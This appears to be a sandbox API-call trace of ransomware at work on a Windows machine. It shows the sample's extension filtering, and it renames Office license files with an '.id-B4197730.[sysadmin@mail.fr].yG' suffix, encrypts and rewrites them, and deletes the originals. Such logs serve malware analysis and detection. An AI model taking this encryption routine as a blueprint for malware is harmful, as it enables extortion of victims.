	[0166.999] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0166.999] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail3-pl.xrm-ms") returned 81
	[0166.999] lstrlenW (lpString=".1cd") returned 4
	[0166.999] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0166.999] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail3-pl.xrm-ms") returned 81
	[0166.999] lstrlenW (lpString=".jpg") returned 4
	[0166.999] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0166.999] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail3-pl.xrm-ms") returned 81
	[0166.999] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail3-pl.xrm-ms") returned 81
	[0166.999] lstrlenW (lpString=".doc") returned 4
	[0166.999] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0167.000] lstrlenW (lpString=".docx") returned 5
	[0167.000] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0167.000] lstrlenW (lpString=".pdf") returned 4
	[0167.000] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0167.000] lstrlenW (lpString=".xls") returned 4
	[0167.000] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0167.000] lstrlenW (lpString=".xlsx") returned 5
	[0167.000] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0167.000] lstrlenW (lpString=".ppt") returned 4
	[0167.000] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0167.000] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail3-pl.xrm-ms") returned 81
	[0167.000] lstrlenW (lpString=".zip") returned 4
	[0167.000] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0167.000] lstrlenW (lpString=".rar") returned 4
	[0167.000] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0167.000] lstrlenW (lpString=".bz2") returned 4
	[0167.000] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0167.000] lstrlenW (lpString=".7z") returned 3
	[0167.001] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0167.001] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail3-pl.xrm-ms") returned 81
	[0167.001] lstrlenW (lpString=".dbf") returned 4
	[0167.001] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0167.001] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail3-pl.xrm-ms") returned 81
	[0167.001] lstrlenW (lpString=".1cd") returned 4
	[0167.001] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0167.001] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail3-pl.xrm-ms") returned 81
	[0167.001] lstrlenW (lpString=".jpg") returned 4
	[0167.001] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0167.001] lstrcmpiW (lpString1=".xrm-ms", lpString2=".yG") returned -1
	[0167.001] lstrlenW (lpString="HomeBusinessR_Retail3-ul-oob.xrm-ms") returned 35
	[0167.001] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail3-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_retail3-ul-oob.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x51c
	[0167.003] GetFileSizeEx (in: hFile=0x51c, lpFileSize=0x3dfff14 | out: lpFileSize=0x3dfff14*=11613) returned 1
	[0167.003] CloseHandle (hObject=0x51c) returned 1
	[0167.003] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail3-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_retail3-ul-oob.xrm-ms")) returned 0x220
	[0167.003] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail3-ul-oob.xrm-ms.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_retail3-ul-oob.xrm-ms.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0167.003] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail3-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_retail3-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x51c
	[0167.004] SetFilePointerEx (in: hFile=0x51c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3dffec0 | out: lpNewFilePointer=0x0) returned 1
	[0167.004] SetFilePointerEx (in: hFile=0x51c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3dffec0 | out: lpNewFilePointer=0x0) returned 1
	[0167.004] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail3-ul-oob.xrm-ms.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_retail3-ul-oob.xrm-ms.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x558
	[0167.005] GetLastError () returned 0x0
	[0167.005] ReadFile (in: hFile=0x51c, lpBuffer=0x42e2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3dffecc, lpOverlapped=0x0 | out: lpBuffer=0x42e2020*, lpNumberOfBytesRead=0x3dffecc*=0x2d5d, lpOverlapped=0x0) returned 1
	[0167.008] WriteFile (in: hFile=0x558, lpBuffer=0x42e2020*, nNumberOfBytesToWrite=0x2d60, lpNumberOfBytesWritten=0x3dffc94, lpOverlapped=0x0 | out: lpBuffer=0x42e2020*, lpNumberOfBytesWritten=0x3dffc94*=0x2d60, lpOverlapped=0x0) returned 1
	[0167.010] ReadFile (in: hFile=0x51c, lpBuffer=0x42e2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3dffecc, lpOverlapped=0x0 | out: lpBuffer=0x42e2020*, lpNumberOfBytesRead=0x3dffecc*=0x0, lpOverlapped=0x0) returned 1
	[0167.010] WriteFile (in: hFile=0x558, lpBuffer=0x42e2020*, nNumberOfBytesToWrite=0x11a, lpNumberOfBytesWritten=0x3dffc94, lpOverlapped=0x0 | out: lpBuffer=0x42e2020*, lpNumberOfBytesWritten=0x3dffc94*=0x11a, lpOverlapped=0x0) returned 1
	[0167.010] SetEndOfFile (hFile=0x558) returned 1
	[0167.010] CloseHandle (hObject=0x558) returned 1
	[0167.011] SetFilePointerEx (in: hFile=0x51c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3dffec0 | out: lpNewFilePointer=0x0) returned 1
	[0167.011] SetEndOfFile (hFile=0x51c) returned 1
	[0167.015] CloseHandle (hObject=0x51c) returned 1
	[0167.016] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail3-ul-oob.xrm-ms.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0167.142] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail3-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_retail3-ul-oob.xrm-ms")) returned 1
	[0167.799] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail3-ul-oob.xrm-ms") returned 85
	[0167.799] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail3-ul-oob.xrm-ms") returned 85
	[0167.799] lstrlenW (lpString=".doc") returned 4
	[0167.799] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0167.799] lstrlenW (lpString=".docx") returned 5
	[0167.799] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0167.799] lstrlenW (lpString=".pdf") returned 4
	[0167.799] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0167.799] lstrlenW (lpString=".xls") returned 4
	[0167.799] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0167.800] lstrlenW (lpString=".xlsx") returned 5
	[0167.800] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0167.800] lstrlenW (lpString=".ppt") returned 4
	[0167.800] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0167.800] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail3-ul-oob.xrm-ms") returned 85
	[0167.800] lstrlenW (lpString=".zip") returned 4
	[0167.800] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0167.800] lstrlenW (lpString=".rar") returned 4
	[0167.800] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0167.800] lstrlenW (lpString=".bz2") returned 4
	[0167.800] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0167.800] lstrlenW (lpString=".7z") returned 3
	[0167.800] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0167.801] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail3-ul-oob.xrm-ms") returned 85
	[0167.801] lstrlenW (lpString=".dbf") returned 4
	[0167.801] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0167.801] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail3-ul-oob.xrm-ms") returned 85
	[0167.801] lstrlenW (lpString=".1cd") returned 4
	[0167.801] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0167.801] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail3-ul-oob.xrm-ms") returned 85
	[0167.801] lstrlenW (lpString=".jpg") returned 4
	[0167.801] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0168.536] GetFileSizeEx (in: hFile=0x53c, lpFileSize=0x3dfff14 | out: lpFileSize=0x3dfff14*=22214) returned 1
	[0168.536] CloseHandle (hObject=0x53c) returned 1
	[0168.536] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_trial-ppd.xrm-ms")) returned 0x220
	[0168.536] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial-ppd.xrm-ms.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_trial-ppd.xrm-ms.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0168.537] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_trial-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x53c
	[0168.537] SetFilePointerEx (in: hFile=0x53c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3dffec0 | out: lpNewFilePointer=0x0) returned 1
	[0168.537] SetFilePointerEx (in: hFile=0x53c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3dffec0 | out: lpNewFilePointer=0x0) returned 1
	[0168.538] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial-ppd.xrm-ms.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_trial-ppd.xrm-ms.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x558
	[0168.539] GetLastError () returned 0x0
	[0168.539] ReadFile (in: hFile=0x53c, lpBuffer=0x42e2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3dffecc, lpOverlapped=0x0 | out: lpBuffer=0x42e2020*, lpNumberOfBytesRead=0x3dffecc*=0x56c6, lpOverlapped=0x0) returned 1
	[0168.632] WriteFile (in: hFile=0x558, lpBuffer=0x42e2020*, nNumberOfBytesToWrite=0x56d0, lpNumberOfBytesWritten=0x3dffc94, lpOverlapped=0x0 | out: lpBuffer=0x42e2020*, lpNumberOfBytesWritten=0x3dffc94*=0x56d0, lpOverlapped=0x0) returned 1
	[0168.634] ReadFile (in: hFile=0x53c, lpBuffer=0x42e2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3dffecc, lpOverlapped=0x0 | out: lpBuffer=0x42e2020*, lpNumberOfBytesRead=0x3dffecc*=0x0, lpOverlapped=0x0) returned 1
	[0168.634] WriteFile (in: hFile=0x558, lpBuffer=0x42e2020*, nNumberOfBytesToWrite=0x110, lpNumberOfBytesWritten=0x3dffc94, lpOverlapped=0x0 | out: lpBuffer=0x42e2020*, lpNumberOfBytesWritten=0x3dffc94*=0x110, lpOverlapped=0x0) returned 1
	[0168.634] SetEndOfFile (hFile=0x558) returned 1
	[0168.634] CloseHandle (hObject=0x558) returned 1
	[0168.634] SetFilePointerEx (in: hFile=0x53c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3dffec0 | out: lpNewFilePointer=0x0) returned 1
	[0168.634] SetEndOfFile (hFile=0x53c) returned 1
	[0168.638] CloseHandle (hObject=0x53c) returned 1
	[0168.638] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial-ppd.xrm-ms.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0168.830] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_trial-ppd.xrm-ms")) returned 1
	[0168.873] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial-ppd.xrm-ms") returned 80
	[0168.873] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial-ppd.xrm-ms") returned 80
	[0168.873] lstrlenW (lpString=".doc") returned 4
	[0168.873] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0168.873] lstrlenW (lpString=".docx") returned 5
	[0168.873] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0168.873] lstrlenW (lpString=".pdf") returned 4
	[0168.873] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0168.873] lstrlenW (lpString=".xls") returned 4
	[0168.873] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0168.873] lstrlenW (lpString=".xlsx") returned 5
	[0168.873] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0168.874] lstrlenW (lpString=".ppt") returned 4
	[0168.874] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0168.874] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial-ppd.xrm-ms") returned 80
	[0168.874] lstrlenW (lpString=".zip") returned 4
	[0168.874] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0168.874] lstrlenW (lpString=".rar") returned 4
	[0168.874] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0168.874] lstrlenW (lpString=".bz2") returned 4
	[0168.874] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0168.874] lstrlenW (lpString=".7z") returned 3
	[0168.874] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0168.874] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial-ppd.xrm-ms") returned 80
	[0168.874] lstrlenW (lpString=".dbf") returned 4
	[0168.874] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0168.874] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial-ppd.xrm-ms") returned 80
	[0168.875] lstrlenW (lpString=".1cd") returned 4
	[0168.875] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0168.875] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial-ppd.xrm-ms") returned 80
	[0168.875] lstrlenW (lpString=".jpg") returned 4
	[0168.875] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0168.907] GetFileSizeEx (in: hFile=0x51c, lpFileSize=0x3dfff14 | out: lpFileSize=0x3dfff14*=19957) returned 1
	[0168.907] CloseHandle (hObject=0x51c) returned 1
	[0168.908] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_OEM_Perp-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_oem_perp-ul-phn.xrm-ms")) returned 0x220
	[0168.942] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_OEM_Perp-ul-phn.xrm-ms.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_oem_perp-ul-phn.xrm-ms.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0168.942] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_OEM_Perp-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_oem_perp-ul-phn.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x51c
	[0168.943] SetFilePointerEx (in: hFile=0x51c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3dffec0 | out: lpNewFilePointer=0x0) returned 1
	[0168.943] SetFilePointerEx (in: hFile=0x51c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3dffec0 | out: lpNewFilePointer=0x0) returned 1
	[0168.943] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_OEM_Perp-ul-phn.xrm-ms.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_oem_perp-ul-phn.xrm-ms.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x560
	[0168.955] GetLastError () returned 0x0
	[0168.955] ReadFile (in: hFile=0x51c, lpBuffer=0x42e2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3dffecc, lpOverlapped=0x0 | out: lpBuffer=0x42e2020*, lpNumberOfBytesRead=0x3dffecc*=0x4df5, lpOverlapped=0x0) returned 1
	[0168.997] WriteFile (in: hFile=0x560, lpBuffer=0x42e2020*, nNumberOfBytesToWrite=0x4e00, lpNumberOfBytesWritten=0x3dffc94, lpOverlapped=0x0 | out: lpBuffer=0x42e2020*, lpNumberOfBytesWritten=0x3dffc94*=0x4e00, lpOverlapped=0x0) returned 1
	[0169.000] ReadFile (in: hFile=0x51c, lpBuffer=0x42e2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3dffecc, lpOverlapped=0x0 | out: lpBuffer=0x42e2020*, lpNumberOfBytesRead=0x3dffecc*=0x0, lpOverlapped=0x0) returned 1
	[0169.000] WriteFile (in: hFile=0x560, lpBuffer=0x42e2020*, nNumberOfBytesToWrite=0x11a, lpNumberOfBytesWritten=0x3dffc94, lpOverlapped=0x0 | out: lpBuffer=0x42e2020*, lpNumberOfBytesWritten=0x3dffc94*=0x11a, lpOverlapped=0x0) returned 1
	[0169.000] SetEndOfFile (hFile=0x560) returned 1
	[0169.001] CloseHandle (hObject=0x560) returned 1
	[0169.001] SetFilePointerEx (in: hFile=0x51c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3dffec0 | out: lpNewFilePointer=0x0) returned 1
	[0169.001] SetEndOfFile (hFile=0x51c) returned 1
	[0169.004] CloseHandle (hObject=0x51c) returned 1
	[0169.005] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_OEM_Perp-ul-phn.xrm-ms.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0169.005] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_OEM_Perp-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_oem_perp-ul-phn.xrm-ms")) returned 1
	[0169.006] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_OEM_Perp-ul-phn.xrm-ms") returned 85
	[0169.006] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_OEM_Perp-ul-phn.xrm-ms") returned 85
	[0169.006] lstrlenW (lpString=".doc") returned 4
	[0169.006] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0169.006] lstrlenW (lpString=".docx") returned 5
	[0169.006] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0169.006] lstrlenW (lpString=".pdf") returned 4
	[0169.006] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0169.006] lstrlenW (lpString=".xls") returned 4
	[0169.006] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0169.006] lstrlenW (lpString=".xlsx") returned 5
	[0169.006] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0169.006] lstrlenW (lpString=".ppt") returned 4
	[0169.006] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0169.007] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_OEM_Perp-ul-phn.xrm-ms") returned 85
	[0169.007] lstrlenW (lpString=".zip") returned 4
	[0169.007] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0169.007] lstrlenW (lpString=".rar") returned 4
	[0169.007] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0169.007] lstrlenW (lpString=".bz2") returned 4
	[0169.007] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0169.007] lstrlenW (lpString=".7z") returned 3
	[0169.007] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0169.007] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_OEM_Perp-ul-phn.xrm-ms") returned 85
	[0169.007] lstrlenW (lpString=".dbf") returned 4
	[0169.007] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0169.007] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_OEM_Perp-ul-phn.xrm-ms") returned 85
	[0169.007] lstrlenW (lpString=".1cd") returned 4
	[0169.007] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0169.007] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_OEM_Perp-ul-phn.xrm-ms") returned 85
	[0169.007] lstrlenW (lpString=".jpg") returned 4
	[0169.007] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0169.008] GetFileSizeEx (in: hFile=0x51c, lpFileSize=0x3dfff14 | out: lpFileSize=0x3dfff14*=19949) returned 1
	[0169.008] CloseHandle (hObject=0x51c) returned 1
	[0169.008] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Retail-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_retail-ul-phn.xrm-ms")) returned 0x220
	[0169.008] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Retail-ul-phn.xrm-ms.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_retail-ul-phn.xrm-ms.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0169.009] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Retail-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_retail-ul-phn.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x51c
	[0169.010] SetFilePointerEx (in: hFile=0x51c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3dffec0 | out: lpNewFilePointer=0x0) returned 1
	[0169.010] SetFilePointerEx (in: hFile=0x51c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3dffec0 | out: lpNewFilePointer=0x0) returned 1
	[0169.010] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Retail-ul-phn.xrm-ms.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_retail-ul-phn.xrm-ms.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x560
	[0169.011] GetLastError () returned 0x0
	[0169.012] ReadFile (in: hFile=0x51c, lpBuffer=0x42e2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3dffecc, lpOverlapped=0x0 | out: lpBuffer=0x42e2020*, lpNumberOfBytesRead=0x3dffecc*=0x4ded, lpOverlapped=0x0) returned 1
	[0169.074] WriteFile (in: hFile=0x560, lpBuffer=0x42e2020*, nNumberOfBytesToWrite=0x4df0, lpNumberOfBytesWritten=0x3dffc94, lpOverlapped=0x0 | out: lpBuffer=0x42e2020*, lpNumberOfBytesWritten=0x3dffc94*=0x4df0, lpOverlapped=0x0) returned 1
	[0169.075] ReadFile (in: hFile=0x51c, lpBuffer=0x42e2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3dffecc, lpOverlapped=0x0 | out: lpBuffer=0x42e2020*, lpNumberOfBytesRead=0x3dffecc*=0x0, lpOverlapped=0x0) returned 1
	[0169.075] WriteFile (in: hFile=0x560, lpBuffer=0x42e2020*, nNumberOfBytesToWrite=0x116, lpNumberOfBytesWritten=0x3dffc94, lpOverlapped=0x0 | out: lpBuffer=0x42e2020*, lpNumberOfBytesWritten=0x3dffc94*=0x116, lpOverlapped=0x0) returned 1
	[0169.075] SetEndOfFile (hFile=0x560) returned 1
	[0169.076] CloseHandle (hObject=0x560) returned 1
	[0169.076] SetFilePointerEx (in: hFile=0x51c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3dffec0 | out: lpNewFilePointer=0x0) returned 1
	[0169.076] SetEndOfFile (hFile=0x51c) returned 1
	[0169.080] CloseHandle (hObject=0x51c) returned 1
	[0169.080] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Retail-ul-phn.xrm-ms.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0169.081] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Retail-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_retail-ul-phn.xrm-ms")) returned 1
	[0169.082] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Retail-ul-phn.xrm-ms") returned 83
